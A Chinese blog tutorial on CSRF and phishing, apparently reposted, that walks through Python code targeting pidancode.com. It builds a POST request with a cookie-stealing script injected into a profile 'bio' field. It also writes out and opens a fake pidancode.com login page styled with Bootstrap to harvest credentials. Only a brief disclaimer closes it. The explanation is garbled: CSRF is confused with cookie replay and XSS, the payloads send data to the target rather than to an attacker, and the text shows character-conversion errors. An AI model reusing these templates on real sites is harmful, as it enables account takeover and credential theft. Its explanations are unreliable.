CSRF攻击(跨站要求捏造)是一种利用已登录的用户身份在目标网站上进行非法操作的攻击方式。攻击者通过各种手段获得用户的cookie值(可以通过XSS攻击、社会工程学方式等),然后在另外一个网站上构造一个类似于目标网站的要求,让用户误以为是目标网站的操作。
网络钓鱼攻击是一种骗术,通过假装成可信任的实体,如银行或互联网服务提供商等,诱使受害者或受害者代表提供敏感信息或访问歹意网站。
现在,我们来看一下怎样使用Python实现这样的攻击。
- 构造CSRF攻击
在我们的例子中,我们将摹拟一个攻击放置在其他网站上的页面,用于对pidancode.com进行CSRF攻击。
首先,我们需要导入一些必要的库:
import requests import webbrowser
然后,我们需要一些重要的参数,如攻击网页的URL、目标网站的URL和cookie:
attack_url = "/uploads/allimg/2023/04/20/jkshtnyp0sn.html" target_url = "https://pidancode.com/profile" cookie_value = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
接下来,我们需要构造一个POST要求来履行攻击:
data = {"username": "attacker", "bio": "<script>document.location.href='{}?cookie='+document.cookie;</script>".format(target_url)} headers = { "Referer": attack_url, "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0", "Cookie": cookie_value, "Content-Type": "application/x-www-form-urlencoded" } response = requests.post(target_url, data=data, headers=headers)
在这个要求中,我们构造了一个包括歹意脚本的“bio”字段,在用户浏览攻击网站时,这个脚本将自动向目标网站发送一个要求,并将目标网站的cookie值附加在这个要求中。
如果我们想测试这个攻击,我们可以将全部代码存储在名为“csrf_attack.py”的文件中,并在命令行中履行以下命令:
python csrf_attack.py
- 构造网络钓鱼攻击
网络钓鱼攻击是一种更加复杂的攻击方式,其中攻击者需要捏造一个看起来真实的登录页面,并引导用户在该页面上输入其凭据,以将其转移到目标攻击者控制的服务器上。
在我们的例子中,我们将摹拟一个登录页面,假装成pidancode.com的登录页面,并将用户的凭据发送到攻击者控制的服务器上。
首先,我们定义我们需要的参数和URL:
phishing_url = "/uploads/allimg/2023/04/20/44dysz25b50.html" victim_url = "https://pidancode.com/login" attack_data = {"username": "attacker", "password": "password", "page": "https://pidancode.com/profile"}
接下来,我们需要构建一个包括所有必要字段的HTML表单:
form_html = """ <html> <body> <h1>Please login to access pidancode.com</h1> <form method="post" action="{}"> <label>Username:</label><br> <input type="text" name="username" value=""><br> <label>Password:</label><br> <input type="password" name="password" value=""><br> <input type="hidden" name="page" value="{}" /> <input type="submit" value="Login"> </form> </body> </html> """.format(attack_data['page'], attack_data['page'])
在这个表单中,我们使用POST方法提交用户的凭据,并在隐藏字段中包括一个名为“page”的字段,该字段告知表单在用户成功登录后将其转发到哪一个页面。
为了让这个表单看起来真实,我们需要重点关注样式和交互性。在我们这个例子中,我们可使用bootstrap组件来实现这一点:
bootstrap_css = "https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" head = """ <head> <title>Pidancode.com Login</title> <link rel="stylesheet" href="{}"> </head> """.format(bootstrap_css) form_html = """ <html> {} <body> <div class="container"> <div class="row"> <div class="col-md⑹ offset-md⑶"> <h1>Please login to access pidancode.com</h1> <form method="post" action="{}"> <div class="form-group"> <label for="username">Username:</label><br> <input class="form-control" type="text" name="username" value=""> </div> <div class="form-group"> <label for="password">Password:</label><br> <input class="form-control" type="password" name="password" value=""> </div> <input type="hidden" name="page" value="{}" /> <button type="submit" class="btn btn-primary">Login</button> </form> </div> </div> </div> </body> </html> """.format(head, attack_data['page'], attack_data['page'])
最后,我们需要将表单显现为HTML,并向用户提供捏造的登录页面。我们可使用以下代码将HTML写入文件,并在浏览器中打开该文件:
with open("phishing-page.html", "w") as f: f.write(form_html) webbrowser.open_new_tab("phishing-page.html")
在这个例子中,我们使用了“webbrowser”库来打开用户默许的浏览器,并在其中加载捏造的登录页面。
如果我们想测试这个攻击,我们可以将全部代码存储在名为“phishing_attack.py”的文件中,并在命令行中履行以下命令:
python phishing_attack.py
在履行完此命令后,将自动在浏览器中打开一个新的选项卡,其中包括我们的捏造登录页面。
请注意,这是破坏行动,我建议大家不要进行这样的攻击。
本文来源:https://www.yuntue.com/post/83504.html | 云服务器网,转载请注明出处!